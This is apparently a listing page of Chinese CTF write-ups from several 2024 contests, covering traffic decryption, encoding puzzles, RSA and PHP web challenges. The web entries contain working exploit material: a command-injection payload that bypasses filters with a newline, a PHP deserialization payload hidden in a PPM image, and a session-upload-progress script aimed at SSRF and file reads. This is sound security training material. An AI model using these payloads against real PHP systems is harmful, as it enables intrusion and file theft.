2024第三次线上赛wp

MISC 卫继龚的日常 将题目中的图片抠出来,放进谷歌,识别出是日本横滨北仲桥。 根据题意附近应该有JR地铁站,继续谷歌地图,发现附近有JR樱木町站。 根据题意,接着找附近的商店街。谷歌一下,附近有野毛小路商店街。 同时寻找日本知名的一元店,百度到了几个日本知名品牌。 如果你是这样做或是以类似思路做的,那么此时你的思路和寻找方向已经偏了。 最关键的原因,还是审题不完全。关键词:5分钟就能到地铁。仔细看题目图片,假设图片是在上下班路途上拍的,那么他必然要经过北仲桥。如果他是从家到地铁经过的北仲桥,那么他家附近的商店街应该在北仲桥附近,而野毛商店街的位置是相反方向。也就是说我应该去找北仲桥附近的商店街,但是找了一圈,没有发现很知名的商店街。 此时,假如北仲桥是在作者公司附近呢?樱木町站是作者公司附近的地铁站,因此题目图片中,加了一句:“只需要坐5分钟地铁”。 以樱木町站为起点,5分钟的车程,大致1-2站。继续谷歌,找到JR东日本的路线图。 根岸线樱木町站,5分钟车程,前后不会超过2站,分别是石川町、关内、横滨、东神奈川。 以这4个站,再结合谷歌出来的横滨知名商店街 继续谷歌地图 在横滨站附近寻找,一无所获 关内站附近发现伊势佐木町商店街。 依次谷歌日本知名的百元品牌,输入CanDo终于发现目标 使用谷歌街景 Project-X 题目给了一个 pcapng 的流量包文件,在分析前先来过一下Vmess协议下数据包加密过程(官方配置文档、通信协议文档) 假设有如下网络拓补 此时用户在配置好代理软件后使用vmess协议进行通信,在浏览器中使用google,发起了一个下面这样的数据包(1.1.1.1是用户ip,1145是用户发起请求端口) 为了方便画图,以上数据包所有内容都包含在请求包体中。此时数据包会被交给代理软件,vmess协议会在数据包前加上一个用来加密该数据包的加密方式 vmess允许用户自定义加密包体的方式,一般会在配置页面选择auto。这里我们假设使用AES-128-GCM加密,这样请求包体的内容就会被加密成无规则的字节流,被加密后包体就变成这样(遮挡部分表示被加密,后面使用的颜色不同表示加密方式不同) 接着会根据用户在配置文件中使用的用户id进行AES-128-CFB加密,将包体加密方式这部分也加密起来(下面是官方文档给的加密方式,看不懂也没事,只要知道会用一个特定的值与用户id进行加密运算,将这部分给搞糊) 并且会在前面加上当前时间戳与用户id的md5值作为一个验证值,此时整个数据包就是这个样子 最后拼接上代理服务器的ip地址与端口,就变成了这样 当数据包来到防火墙时,由于请求包体被完全加密,防火墙无法识别出用户意图,且代理服务器不在防火墙黑明单,于是就会放行数据包。代理服务器拿到数据包后,会先开一个大小为30~90左右的数组,对当前时间戳的+-30秒进行逐个的md5校验,当数据包中携带的校验值与数组中某个值匹配后,就会认定该数据包为有效数据包,于是对后面被加密的两个部分进行解密。解密后就重新拿到了下面这个数据包 接着再进行一层解密,就能得到我们的请求意图。这便是最原始的vmess协议通信过程。这里有一个配置信息我们没有说到,就是额外id。其实额外id的存在就是为了防止在同一时间段内发送大量数据包导致校验值重复,比如原本校验值是md5(11451),当额外id为1时就有md5(11452),以此类推。但这种验证方式也有局限性,在实际使用中已被发现存在被重放攻击的风险,具体可以看这篇,下面是官方文档对这一风险的应对手段 VMessMD5 被弃用的原因是因为它能够被很容易地通过主动探测的手段检测到,见上面提到的那篇 v2ray-core#2523。 简单来说就是使用AEAD认证的方式取代我们上述的md5验证值。这样即便防火墙试图修改被加密的数据包,被修改的数据包发送到代理服务器后也会被丢弃,就能避免重放攻击的风险。置方式也很简单,就是将额外id设置为0。而在最新版v2ray-core中,已经对vmess协议强制使用AEAD认证 介绍完vmess协议的通信原理后,再来看看赛题。这道题就是AEAD 的加密方式 用wireshark翻流量可以得到一个 v2ray 的 json 配置文件,也是从这里确定了是VMess流量分析 解密流量有两种方法,一种是通过阅读代码来自己实现解密,另一种是通过重放流量来获取明文。 关于协议的部分实现,可以参考 extra-VMessAEADdoc.zip 但是协议的最终实现还是需要参考 v2ray-core 的源码,因为有些地方的实现和文档中的描述不一致。 这里我们可以使用一个专门用来解析AEAD认证的库,并使用其编写一段exp import uuid from vmess_aead.encoding import VMessBodyEncoder from vmess_aead.headers.request import VMessAEADRequestPacketHeader from vmess_aead.utils.reader import BytesReader data = "a49502ee07ffdd20f11597e961f7768b41be7bc32030107fc81f235f72ff1b294d074ade94281242412b4c19123b15250ac3d5ad9524df9acd0ee5f6dcca7b0c2849b2f4df20190dd084c01c3f6e2834dd87cb8e97fa178b2ec454755f89d9b735ae6dab9c7989cf4154f7eae53774d9d6cdb55d0a76fdaf21e08bae26e49cbb3c56d11a3fe540454bfbae06305460301caca4109df3335b0c3646b6e2d856a927f9298b87da3a7cf3cffcca6c27259fc055faa9f3155cc95f698bb37436008783b6cd03d38a8e109f78a48c860b600fcbe825cd6c6a5be2c95fce121df574c70fe62e4f24e28de5983db6c3c0192d72ec785b6d58c4b8301c4f70eab683" data = bytes.fromhex(data) reader = BytesReader(data) user_id = uuid.UUID("f3a5cae3-6bd2-40d1-b13b-2cc3d87af2c7") header = VMessAEADRequestPacketHeader.from_packet(reader, user_id) print(header) encoder = VMessBodyEncoder( header.payload.body_key, header.payload.body_iv, header.payload.options, header.payload.security, header.payload.command, ) body = encoder.decode_once(reader) print(body) ...

April 7, 2024 · 35 min · Red

2024第二次线上赛WP

MISC GIF 简单的二维码,可以使用WPS把每帧分离保存,按顺序拼接,最后扫码获取flag 重生之我在嘉庚当黑客 flag格式改成xujc即可 洋葱二维码 code128、QR code、Maxicode、Aztec code、PDF417、汉信码之类的交替着试,二维码套娃。总之,用中国编码和https://demo.dynamsoft.com/barcode-reader/轮着试就行 SSL HTTPS流量,给了sslkey.log 首先使用sslkey解密包内容,编辑>首选项>Protocols>TLS 过滤出GET请求的包 http.request.method==GET 这些包的URL中有个参数名是:kcahsni 取出这些包的kcahsni的值,数量不多,可以手工取出来,也可使用Tshark取出来 tshark -r capture.pcap -o 'ssl.keylog_file:sslkey.log' -Y 'http contains "GET /searchbyimage"' -T fields -e http.request.uri.query.parameter > outdata.txt image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D82290383-7480-487c-b78b-77ac769c56cd%26kcahsni%3D9ef773fe97f56554a3b4,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D8bd542b5-2056-489e-bc1c-4f028ef27894%26kcahsni%3D26cd07e1f71df3dcee9f,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3De76528cd-17d3-490a-be20-2d817ccee04e%26kcahsni%3D1eaf89725ab93968fc52,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D491c01dd-f1a3-43c3-b3c8-30c4ab73ff4b%26kcahsni%3Df03c0a7d653539616433,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Deeed4c5d-8a5f-4b8c-a12d-a2ef007e09e2%26kcahsni%3D66333861303164636130,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Db69d43cd-ac86-4b20-acc6-6a441d94ae3e%26kcahsni%3D30663937353965366432,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3De56bc952-42c2-4631-96ee-e2e7cac51406%26kcahsni%3D30353331373634326335,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Dece42ab1-a9d1-44df-a0b5-6b7e83aa9cd0%26kcahsni%3D34323166636461643033,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D71ad1cf6-a31a-4694-812b-9ea5db6e3cad%26kcahsni%3D34656265373037376332,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D1b3c7025-b1a8-477f-9d16-89c254af258a%26kcahsni%3D62646464343732627b41,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D64ac599c-e5ac-43bc-a2e0-0447257cd5bc%26kcahsni%3D534e490b3295c3d06c24,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Dd8af7f01-5b92-4ad3-8c80-c6af467eac30%26kcahsni%3Df2a8c7e8936667dbf7fe,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D01b77323-6be9-4abd-b427-9f09d992a4df%26kcahsni%3Dce28456a0fd24ac21ec6,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D3f3e4f2f-5d92-4d3a-8ce8-f11943b42df3%26kcahsni%3Da12e3efe4b,encoded_image=,image_content=,filename=,hl=fr 使用Python处理一下,最后结果需要逆序一下 #Written by: mochu7 import binascii from urllib.parse import unquote flag=b'' with open('./outdata.txt') as f: for line in f.readlines(): line = unquote(line) hexdata = line[line.find('kcahsni=')+8:line.find(',')] hexstring = binascii.unhexlify(hexdata) flag += hexstring print(flag[::-1]) ...

March 30, 2024 · 4 min · Red

2024第一次线上赛WP

MISC 办公室爱情(🙂) 办公室爱情wp 你这flag保熟吗(😐) 你这flag保熟吗wp 小明的电脑(😧) 小明的电脑wp 套娃生成器(🤯) 根据提示,在github上找到该项目 总共实现了以下几种娃: dolls_registry = ( (Base16Doll, Base32Doll, Base64Doll, Base85Doll), # Base系列编码,随机选择一种 (RGBAImageBytesDoll,), # 字节编码成 RGBA 图片 (BitReverseDoll, ByteReverseDoll), # 位翻转和字节翻转 (WeakZipDoll,), # 弱密码ZIP (QRCodeDoll,), # 字符串编码成二维码 (MostSignificantByteDoll, LeastSignificantByteDoll), # 隐写LSB/MSB ) 生成逻辑是上面每行的娃随机选择一个,然后打乱顺序递归生成结果。如果生成的结果超过当前娃的最大承载长度,就将这个娃和上一个娃交换位置,然后重新生成。(具体逻辑见 encode.py) 其中,QRCodeDoll 会生成一个二维码图片,由于二维码我没有找到可靠的办法来承载二进制,所以它实际上存储的是 Base64 编码的二进制数据。 另外,对于 RGBAImageBytesDoll、MostSignificantByteDoll 和 LeastSignificantByteDoll,由于存储的数据长度可能不足容量,所以存储的前四字节为大端序的数据长度。 此外,WeakZipDoll 生成的密码选择在五位数字的原因是因为这是在我的机器上 Python 多进程能在 60 秒内稳定破解的最长密码(有考虑过六位数字,但是不能稳定破解,可能需要写 C binding,感觉有点麻烦就放弃了)。 解题脚本见 solve.py,其中具体实现的逻辑是对于输入的特征选择尝试解码的娃,如果解码成功但是结果不清晰就递归解码,直到解码成功且结果清晰(或者持续解码但是直到低于最小可能长度仍然无法解码就失败);如果解码失败就尝试下一个娃。 solve.py: import re import sys from base64 import decodebytes import pwn as p from matryoshka.dolls.base import DollError, DollsBase from matryoshka.dolls.multi_base import Base16Doll, Base32Doll, Base64Doll, Base85Doll from matryoshka.dolls.qrcode_encode import QRCodeDoll from matryoshka.dolls.reverse import BitReverseDoll, ByteReverseDoll from matryoshka.dolls.rgb_bytes import RGBAImageBytesDoll from matryoshka.dolls.significant_byte import ( LeastSignificantByteDoll, MostSignificantByteDoll, ) from matryoshka.dolls.weak_zip import WeakZipDoll def decode( data: bytes, round: int = 1, result_regex=rb"flag{.*?}", accepted_dolls: tuple[type[DollsBase], ...] = (), length_threshold: int = 10, ): def prefixed_print(*args): p.log.info(" ".join(["--" * round + ">", *map(str, args)])) prefixed_print("entering round", round) attempts: list[type[DollsBase]] = [] if data.startswith(b"PK"): # PK is the magic number for ZIP files attempts.append(WeakZipDoll) if data.startswith(b"\x89PNG"): # PNG magic number attempts.append(RGBAImageBytesDoll) attempts.append(LeastSignificantByteDoll) attempts.append(MostSignificantByteDoll) if data.isascii(): # ASCII charset = {bytes([c]) for c in data} if charset == {b"0", b"1"}: attempts.append(QRCodeDoll) else: attempts.append(Base16Doll) attempts.append(Base32Doll) attempts.append(Base64Doll) attempts.append(Base85Doll) attempts.append(BitReverseDoll) attempts.append(ByteReverseDoll) attempts = [attempt for attempt in attempts if attempt not in accepted_dolls] for attempt in attempts: prefixed_print(f"trying {attempt.__name__}") try: result = attempt().decode(data) except DollError as e: prefixed_print(f"failed {attempt.__name__}: {e}") continue if len(result) < length_threshold: prefixed_print(f"failed {attempt.__name__}: length not accepted") continue if re.search(result_regex, result, re.DOTALL): prefixed_print(f"success {attempt.__name__}: {result}") return result prefixed_print("result not clear, recursive decode begin") result = decode(result, round + 1, result_regex, (*accepted_dolls, attempt)) if result: return result prefixed_print("round failed") return None if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <host> <port>") sys.exit(1) _, host, port = sys.argv s = p.remote(host, port) s.recvuntil(b"name") s.sendline(b"mix") while True: data = s.recvuntil(b"-----END MATRYOSHKA MESSAGE-----") round_data = re.search(rb"Round (\d+)/(\d+)", data) assert round_data round = int(round_data.group(1)) total_rounds = int(round_data.group(2)) p.log.info(f"Round {round}/{total_rounds}") data_chunk = re.search( b"-----BEGIN MATRYOSHKA MESSAGE-----\n(.*)\n-----END MATRYOSHKA MESSAGE-----", data, re.DOTALL, ) assert data_chunk data = decode(decodebytes(data_chunk.group(1))) assert data s.sendline(data) if round == total_rounds: break s.interactive() CRYPTO baby_rsa(🙂) from Crypto.Util.number import long_to_bytes from gmpy2 import invert, is_prime from tqdm import tqdm ​ primes = [] ​ for xy in tqdm(range(500)): for mn in range(500): prime = xy**(mn+1) - (xy+1)**mn if prime.bit_length() > 2048: break if is_prime(prime): primes.append(prime) ​ c = 15808773921165746378224649554032774095198531782455904169552223303513940968292896814159288417499220739875833754573943607047855256739976161598599903932981169979509871591999964856806929597805904134099901826858367778386342376768508031554802249075072366710038889306268806744179086648684738023073458982906066972340414398928411147970593935244077925448732772473619783079328351522269170879807064111318871074291073581343039389561175391039766936376267875184581643335916049461784753341115227515163545709454746272514827000601853735356551495685229995637483506735448900656885365353434308639412035003119516693303377081576975540948311 ​ for i in range(len(primes)): for j in range(i, len(primes)): pq = primes[i]*primes[j] if len(bin(pq)[2:]) == 2048: try: d = invert(0x10001, (primes[i]-1)*(primes[j]-1)) dec = long_to_bytes(pow(c, d, pq)) if b"flag{" in dec: print(dec) except ValueError: pass 已知((fac[0]+fac[1]+fac[2]) « 1) - 1的值,用其替代n。分解((fac[0]+fac[1]+fac[2]) « 1) - 1求其欧拉函数,进而求解出d和第二段。 ...

March 24, 2024 · 9 min · Red

2024新年红包题

将饺替换成0,子替换成1,二进制转换字符串得到 下载附件,审计源码 题目开了imagick扩展 再审计源代码,一共有三个功能点: 反序列化 删除/tmp目录下的所有内容(这算是题目的提示了) 高亮当前文件 再看题目给的后门类: 其实这里sink点有两个,一个是readfile读取文件,另一个是new $a($b)格式的代码 对于new $a($b)格式的代码,如果题目出网并且web目录可写的话,是可以直接RCE的,但是本题既不出网,web目录又不可写 因此题目的sink点就在readfile了,那么如何触发__sleep()魔术方法呢,__sleep魔术方法会在序列化的时候被调用 所以整个攻击流程如下: 首先把/tmp目录清空: GET /?cmd=rm HTTP/1.1 Host: 1.1.1.1:49338 再制作一个PPM图片,选择PPM的原因是PPM末尾允许添加一些脏数据,并且该脏数据也不会被imagick抹去 session的内容生成方式如下: 这里我们设置path属性为/tmp/res路径,这个路径就是/flag复制之后的路径 重点看16行,这里的脏数据的数量其实是有一定要求的,在第12行设置了PPM图片的长和宽,即9*9像素,这里的脏数据+序列化数据的数量需要大于等于3*9*9且小于等于4*9*9(这里3和4可以简单理解为每个像素所占用的字节),具体原理不深究了,这里就当做记个结论(如果有其他想法,可以随时私信讨论) <?php class fumo_backdoor { public $path = null; public $argv = null; public $func = null; public $class = null; } $a = new fumo_backdoor(); $a->path = "/tmp/res"; // 复制后的flag路径 $ppmhead = "P6 9 9 255 " ; $sdata = "|" . serialize($a); $ppm = $ppmhead . str_repeat("\x00", 3 * 9 * 9 - strlen($sdata)) . $sdata; // print($ppm); print(base64_encode($ppm)); //UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfE86MTM6ImZ1bW9fYmFja2Rvb3IiOjQ6e3M6NDoicGF0aCI7czo4OiIvdG1wL3JlcyI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30= 有关PPM格式示例文件规范如下(From ChatGPT): ...

February 11, 2024 · 2 min · Red

2024寒假训练赛4——Writeup

WEB web签到 直接上payload /?c=cat /flag%0a 虽然过滤掉了很多东西,但%0a是换行,可以将过滤的指令换到下一行,就不会影响上一行执行 prprp…py? 打开题目显示没有session 可以利用SESSION_UPLOAD_PROGRESS创建一个session: 下方的proxies为BurpSuite的代理地址 import requests url = "http://1.1.1.1:49343/" data = { "PHP_SESSION_UPLOAD_PROGRESS":"a" } file = { "file": ("a","a") } cookies = { "PHPSESSID": "a" } proxies = { "http": "127.0.0.1:8080" } req = requests.post(url, data=data, files=file, cookies=cookies, proxies=proxies) print(req.text) 发包过去就能拿到源码了 获取到的源码如下,这里稍作分析: $_POST['data']可控,并且会对其反序列化后覆盖变量,所以我们可以任意构造后续的变量,注意在传参的时候需要序列化数据 核心看三个if分支,第一个if分支会对properties变量反序列化,并且调用sctf方法,由于代码里不存在类有sctf方法,因此第一反应应该是构造SoapClient原生类打SSRF 第二个else if分支的用途就比较明显了,可以利用原生类读取任意文件 第三个else语句会去请求内部5000端口的服务并返回结果,一般5000端口是Flask服务,不过这里file_get_contents只能发送GET请求,如果要打Flask的/console的Debug服务需要带Cookie <?php error_reporting(0); if(!isset($_SESSION)){ die('Session not started'); } highlight_file(__FILE__); $type = $_SESSION['type']; $properties = $_SESSION['properties']; echo urlencode($_POST['data']); extract(unserialize($_POST['data'])); if(is_string($properties)&&unserialize(urldecode($properties))){ $object = unserialize(urldecode($properties)); $object -> sctf(); exit(); } else if(is_array($properties)){ $object = new $type($properties[0],$properties[1]); } else { $object = file_get_contents('http://127.0.0.1:5000/'.$properties); } echo "this is the object: $object <br>"; ?> 这里的解题思路如下: ...

February 2, 2024 · 3 min · Red